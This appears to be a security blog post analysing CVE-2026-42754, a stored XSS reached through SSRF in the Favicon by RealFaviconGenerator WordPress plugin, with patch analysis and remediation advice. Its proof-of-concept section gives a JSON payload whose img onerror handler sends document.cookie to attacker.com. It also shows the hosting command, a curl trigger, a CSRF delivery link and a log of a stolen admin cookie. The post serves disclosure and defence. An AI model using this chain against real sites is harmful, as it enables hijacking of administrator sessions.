CVE-2026-42754: Favicon by RealFaviconGenerator Stored XSS (CVSS 7.2)
Table of Contents
CVE-2026-42754 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the Favicon by RealFaviconGenerator WordPress plugin. An attacker who tricks an admin into visiting a crafted URL can make WordPress fetch content from an attacker-controlled server and inject arbitrary JavaScript into the admin panel.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Favicon by RealFaviconGenerator |
| Plugin Slug | favicon-by-realfavicongenerator |
| CVE ID | CVE-2026-42754 |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| Vulnerability Type | Unauthenticated Stored Cross-Site Scripting |
| Affected Versions | <= 1.3.46 |
| Patched Version | 1.3.47 |
| Published | May 30, 2026 |
| Researcher | dodoh4t |
| Wordfence Advisory | Link |
Description
The Favicon by RealFaviconGenerator plugin is vulnerable to Stored Cross-Site Scripting in all versions up to and including 1.3.46. The flaw exists in the install_new_favicon AJAX callback due to insufficient input sanitization and unsafe HTML rendering of server responses.
An attacker who lures an admin into visiting a crafted URL triggers a Server-Side Request Forgery (SSRF). WordPress fetches a JSON file from an attacker-controlled server. The error message from that server is echoed back to the admin’s browser and rendered as raw HTML, executing any injected JavaScript.
Technical Analysis
1. AJAX Endpoint Registration
In admin/class-favicon-by-realfavicongenerator-admin.php, the register_admin_actions() function registers the AJAX handler for both authenticated and unauthenticated users:
// admin/class-favicon-by-realfavicongenerator-admin.php (line 68–73)
add_action(
'wp_ajax_' . Favicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX . '_install_new_favicon',
array( $this, 'install_new_favicon' )
);
add_action(
'wp_ajax_nopriv_' . Favicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX . '_install_new_favicon',
array( $this, 'install_new_favicon' )
);
The wp_ajax_nopriv_ prefix registers the callback to fire for unauthenticated AJAX requests. The install_new_favicon() function itself has no authentication or nonce check at the start.
2. URL Construction Vulnerability (SSRF via Userinfo Trick)
Inside install_new_favicon(), the json_result_url parameter from the request is used to build a fetch URL:
// admin/class-favicon-by-realfavicongenerator-admin.php (line 192–193)
$url = 'https://realfavicongenerator.net' .
preg_replace( '/^http:\/\//', '', esc_url_raw( $_REQUEST['json_result_url'] ) );
The developer intended to force all fetches to realfavicongenerator.net. But the approach is broken. An attacker supplies:
json_result_url=http://@evil.com/xss.json
The transformation chain:
| Step | Value |
|---|---|
| Raw input | http://@evil.com/xss.json |
After esc_url_raw() | http://@evil.com/xss.json |
After preg_replace('/^http:\/\//', '') | @evil.com/xss.json |
| Final constructed URL | https://realfavicongenerator.net@evil.com/xss.json |
In standard URL parsing, everything before @ in the authority component is treated as userinfo (credentials), and everything after @ is the host. So wp_remote_get() contacts evil.com, not realfavicongenerator.net. The patch comment confirms this:
Any other host (including userinfo tricks like
http://@attacker/poc.json, whererealfavicongenerator.netwould otherwise become the userinfo) is rejected.
3. Late Nonce Verification
The function checks a nonce only AFTER the SSRF fetch and JSON parsing:
// admin/class-favicon-by-realfavicongenerator-admin.php (line 196–211)
$result = $this->download_result_json( $url ); // SSRF happens here
$response = new Favicon_By_RealFaviconGenerator_Api_Response( $result ); // may throw
if ( ! wp_verify_nonce( $response->getCustomParameter(), // never reached on exception
self::NONCE_ACTION_NAME_FAVICON_GENERATION ) ) {
// ...
}
If the attacker’s server returns an error-status JSON, the Favicon_By_RealFaviconGenerator_Api_Response constructor throws an InvalidArgumentException using the attacker-controlled error_message field:
// admin/class-favicon-by-realfavicongenerator-api-response.php (line 40–43)
if ( $status != 'success' ) {
$msg = $this->getParam( $result, 'error_message', false );
$msg = $msg != null ? $msg : 'An error occured';
throw new InvalidArgumentException( $msg ); // attacker-controlled message
}
The nonce check never runs. The exception message carries the attacker’s payload.
4. XSS via .html() in Error Message Display
The catch block in install_new_favicon() returns the exception message as JSON to the browser:
// admin/class-favicon-by-realfavicongenerator-admin.php (line 234–240)
} catch ( Exception $e ) {
?>
{
"status": "error",
"message": <?php echo json_encode( $e->getMessage() ); ?> // attacker-controlled
}
<?php
}
In admin/views/appearance.php, the JavaScript renders this response as HTML:
// admin/views/appearance.php (line ~285–292)
.done(function(response) {
if (response.status == 'success') { ... }
else {
var msg = "An error occured";
if (response.message != null) {
msg += ": " + response.message; // attacker-controlled content
}
jQuery('#install_error_message p').html(msg); // XSS sink
}
})
jQuery’s .html() parses and renders HTML. Any event handlers in the injected content execute immediately. An <img src=x onerror=...> payload fires the moment the element is inserted.
Proof of Concept
Disclaimer: This proof of concept is provided for educational purposes and authorized security testing only. Do not use it on systems you do not own or have explicit permission to test.
Prerequisites
- Favicon by RealFaviconGenerator <= 1.3.46 installed and active on the target site
- An admin who can be lured to a crafted URL (attacker needs no account)
Step 1 — Host a Malicious JSON Response
On an attacker-controlled server (e.g., attacker.com), create and serve xss.json:
{
"favicon_generation_result": {
"result": {
"status": "error",
"error_message": "<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">"
}
}
}
# Serve the file on attacker.com
python3 -m http.server 80
Step 2 — Trigger the SSRF
Test the endpoint directly with admin credentials to confirm SSRF:
curl -s 'https://TARGET.com/wp-admin/admin-ajax.php' \
--cookie "wordpress_logged_in_HASH=ADMIN_COOKIE_VALUE" \
-G \
--data-urlencode 'action=fbrfg_install_new_favicon' \
--data-urlencode 'json_result_url=http://@attacker.com/xss.json'
Step 3 — Confirm the XSS Payload in Response
Expected server response:
{
"status": "error",
"message": "<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">"
}
Step 4 — CSRF Delivery (No Admin Credentials Needed)
Craft a link that triggers the exploit when visited by an admin. The admin’s browser auto-fires the AJAX call on page load:
https://TARGET.com/wp-admin/themes.php?page=PATH_TO_PLUGIN/admin/class-favicon-by-realfavicongenerator-admin.phpfavicon_appearance_menu&json_result_url=http://@attacker.com/xss.json
When the admin opens this link:
- The appearance page loads with
json_result_urlset - JavaScript auto-calls
install_new_faviconwith the crafted URL - WordPress fetches
https://realfavicongenerator.net@attacker.com/xss.json(SSRF) - The error message with XSS payload returns to the admin’s browser
.html(msg)renders it — theonerrorhandler fires
Step 5 — Verify on Attacker Server
Check your server logs for the cookie value:
GET /steal?c=wordpress_logged_in_HASH%3DADMIN_SESSION_TOKEN HTTP/1.1
Host: attacker.com
Why realfavicongenerator.net Becomes the Userinfo
Standard URL authority format: scheme://userinfo@host/path
In https://realfavicongenerator.net@evil.com/xss.json:
realfavicongenerator.net→ userinfo (credentials, ignored by the server)evil.com→ actual host that receives the request
PHP’s HTTP client follows RFC 3986 authority parsing. The server at evil.com receives the request, not realfavicongenerator.net.
Patch Analysis
The 1.3.47 patch (admin/class-favicon-by-realfavicongenerator-admin.php) makes three targeted fixes.
Fix 1 — Upfront nonce verification:
public function install_new_favicon() {
header( 'Content-type: application/json' );
+ $nonce = isset( $_REQUEST['_wpnonce'] ) ? $_REQUEST['_wpnonce'] : '';
+ if ( ! wp_verify_nonce( $nonce, self::NONCE_ACTION_NAME_FAVICON_GENERATION ) ) {
+ echo wp_json_encode( array(
+ 'status' => 'error',
+ 'message' => __( 'Nonce check failed', FBRFG_PLUGIN_SLUG ),
+ ) );
+ die();
+ }
+
try {
- $url = 'https://realfavicongenerator.net' .
- preg_replace( '/^http:\/\//', '', esc_url_raw( $_REQUEST['json_result_url'] ) );
+ $url = $this->build_json_result_url();
The nonce is now checked before any URL processing. Without a valid nonce, the function exits immediately. The nonce is passed in the AJAX data from the appearance page (not via the remote JSON), so an attacker cannot supply it.
Fix 2 — Proper URL validation:
+ private function build_json_result_url() {
+ $raw = esc_url_raw( wp_unslash( $_REQUEST['json_result_url'] ) );
+ $parts = wp_parse_url( $raw );
+ if ( ! is_array( $parts ) ) {
+ throw new InvalidArgumentException( 'Invalid favicon result URL' );
+ }
+ if ( ! empty( $parts['host'] ) &&
+ strtolower( $parts['host'] ) !== 'realfavicongenerator.net' ) {
+ throw new InvalidArgumentException( 'Invalid favicon result URL' );
+ }
+ // ...
+ return 'https://realfavicongenerator.net' . $path . $query;
+ }
The new function uses wp_parse_url() to extract the host component correctly. Userinfo tricks like @attacker.com are caught because wp_parse_url() would return attacker.com as the host. Any host other than realfavicongenerator.net causes an early exception.
Fix 3 — Safe error rendering (appearance.php):
- jQuery('#install_error_message p').html(msg);
+ jQuery('#install_error_message p').text(msg);
Switching from .html() to .text() ensures that any HTML tags in the error message are displayed as plain text rather than rendered. This breaks the XSS sink even if the first two fixes were somehow bypassed.
The patch also adds _wpnonce to the AJAX request data in the appearance page JavaScript, so the nonce is now submitted alongside the json_result_url:
var data = {
action: 'fbrfg_install_new_favicon',
- json_result_url: '<?php echo esc_html( $new_favicon_params_url ) ?>'
+ json_result_url: '<?php echo esc_html( $new_favicon_params_url ) ?>',
+ _wpnonce: '<?php echo esc_html( $nonce ) ?>'
};
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by dodoh4t via Patchstack VDP |
| ~May 30, 2026 | Version 1.3.47 released with fix |
| May 30, 2026 | CVE-2026-42754 published, Wordfence advisory published |
| June 1, 2026 | Wordfence advisory last updated |
| June 7, 2026 | This blog post published |
Remediation
Update Favicon by RealFaviconGenerator to version 1.3.47 or later immediately.
- From the WordPress admin, go to Plugins → Installed Plugins
- Find Favicon by RealFaviconGenerator and click Update Now
- Alternatively, download version 1.3.47 directly from wordpress.org
If you cannot update immediately, deactivate the plugin to remove the attack surface until the update can be applied.